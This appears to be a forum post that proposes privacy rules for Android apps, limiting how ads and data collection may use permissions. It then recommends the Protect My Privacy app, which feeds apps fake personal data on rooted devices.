A qualifying app must also have the ability to retain full functionality after an Android OS reinstall.. meaning a portable install or an install which can use existing files found in File System Root/data/data without errors when reinstalling the app
No developer shall make any requests for donations or monetary compensation of any kind, who has included in his app any form of advertising or which has been given any permissions pertaining to user data & usage information
No App shall require specific permissions for advertisements or promotions.
No in-app advertisement shall require any special permissions or access whatsoever.
No advertisement or information gathering function shall piggyback on other functions requiring access or permissions, nor shall any advertisement or information gathering function utilize access or permissions granted to the app for its core, non-advertising, non-data collecting, non-marketing functions

http://www.android.protectmyprivacy.org/
Pretty neat app.
"Protect My Privacy (PMP) lets you protect the personal information on your rooted Android device. It provides a layer of security between apps and the operating system, thereby giving the control back to the user. When an app attempts to access any protected information, an alert is shown and you have the option to "Protect" or "Allow". The software is unique in that rather than merely blocking access to the information, which could cause the app to have unexpected behavior or even crash, PMP instead supplies fake replacement information, such as randomized contact names, or a location specified by you. You can quickly switch between real and fake information, even while the app is running. PMP also provides automatic protection using crowd-sourced recommendations, this uses information from previous manual decisions made by other users for the same app."